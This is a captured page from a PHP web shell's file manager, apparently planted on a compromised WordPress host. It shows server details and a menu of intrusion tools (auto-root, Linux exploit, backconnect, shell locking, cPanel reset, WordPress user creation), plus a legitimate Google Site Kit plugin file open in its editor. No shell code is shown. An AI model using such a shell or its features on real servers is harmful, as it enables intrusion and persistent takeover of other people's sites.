Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 18.220.188.4
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
temmmp /
anonmags.com /
wp-content /
plugins /
google-site-kit /
includes /
Core /
Modules /
[ HOME SHELL ]
Name
Size
Permission
Action
Tags
[ DIR ]
drwxr-xr-x
Datapoint.php
2.23
KB
-rw-r--r--
Module.php
22.54
KB
-rw-r--r--
Module_Registry.php
1.61
KB
-rw-r--r--
Module_Settings.php
1.95
KB
-rw-r--r--
Module_Sharing_Settings.php
6.64
KB
-rw-r--r--
Module_With_Activation.php
569
B
-rw-r--r--
Module_With_Assets.php
944
B
-rw-r--r--
Module_With_Assets_Trait.php
1.74
KB
-rw-r--r--
Module_With_Data_Available_Sta...
1.01
KB
-rw-r--r--
Module_With_Data_Available_Sta...
1.51
KB
-rw-r--r--
Module_With_Deactivation.php
579
B
-rw-r--r--
Module_With_Debug_Fields.php
558
B
-rw-r--r--
Module_With_Owner.php
574
B
-rw-r--r--
Module_With_Owner_Trait.php
1.73
KB
-rw-r--r--
Module_With_Persistent_Registr...
645
B
-rw-r--r--
Module_With_Scopes.php
621
B
-rw-r--r--
Module_With_Scopes_Trait.php
722
B
-rw-r--r--
Module_With_Service_Entity.php
680
B
-rw-r--r--
Module_With_Settings.php
534
B
-rw-r--r--
Module_With_Settings_Trait.php
1008
B
-rw-r--r--
Module_With_Tag.php
671
B
-rw-r--r--
Module_With_Tag_Trait.php
1.65
KB
-rw-r--r--
Modules.php
25
KB
-rw-r--r--
REST_Dashboard_Sharing_Control...
3.55
KB
-rw-r--r--
REST_Modules_Controller.php
25.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : REST_Dashboard_Sharing_Controller.php
<?php /** * Class Google\Site_Kit\Core\Modules\REST_Dashboard_Sharing_Controller * * @package Google\Site_Kit\Core\Modules * @copyright 2022 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\REST_API\REST_Route; use Google\Site_Kit\Core\Util\Collection_Key_Cap_Filter; use WP_REST_Request; use WP_REST_Response; use WP_REST_Server; /** * Class for handling dashboard sharing rest routes. * * @since 1.75.0 * @access private * @ignore */ class REST_Dashboard_Sharing_Controller { /** * Modules instance. * * @since 1.75.0 * @var Modules */ protected $modules; /** * Constructor. * * @since 1.75.0 * * @param Modules $modules Modules instance. */ public function __construct( Modules $modules ) { $this->modules = $modules; } /** * Registers functionality through WordPress hooks. * * @since 1.75.0 */ public function register() { add_filter( 'googlesitekit_rest_routes', function ( $routes ) { return array_merge( $routes, $this->get_rest_routes() ); } ); } /** * Gets REST route instances. * * @since 1.75.0 * * @return REST_Route[] List of REST_Route objects. */ protected function get_rest_routes() { $can_manage_options = function () { return current_user_can( Permissions::MANAGE_OPTIONS ); }; return array( new REST_Route( 'core/modules/data/sharing-settings', array( array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => function ( WP_REST_Request $request ) { $original_module_owners = $this->modules->get_shareable_modules_owners(); $sharing_settings = $this->modules->get_module_sharing_settings(); $new_sharing_settings = array_reduce( array( new Collection_Key_Cap_Filter( 'sharedRoles', Permissions::MANAGE_MODULE_SHARING_OPTIONS ), new Collection_Key_Cap_Filter( 'management', Permissions::DELEGATE_MODULE_SHARING_MANAGEMENT ), ), function ( $settings, Collection_Key_Cap_Filter $filter ) { return $filter->filter_key_by_cap( $settings ); }, (array) $request['data'] ); $sharing_settings->merge( $new_sharing_settings ); $new_module_owners = $this->modules->get_shareable_modules_owners(); $changed_module_owners = array_filter( $new_module_owners, function ( $new_owner_id, $module_slug ) use ( $original_module_owners ) { return $new_owner_id !== $original_module_owners[ $module_slug ]; }, ARRAY_FILTER_USE_BOTH ); return new WP_REST_Response( array( 'settings' => $sharing_settings->get(), // Cast array to an object so JSON encoded response is always an object, // even when the array is empty. 'newOwnerIDs' => (object) $changed_module_owners, ) ); }, 'permission_callback' => $can_manage_options, 'args' => array( 'data' => array( 'type' => 'object', 'required' => true, ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => function () { $delete_settings = $this->modules->delete_dashboard_sharing_settings(); return new WP_REST_Response( $delete_settings ); }, 'permission_callback' => $can_manage_options, ), ) ), ); } }
Close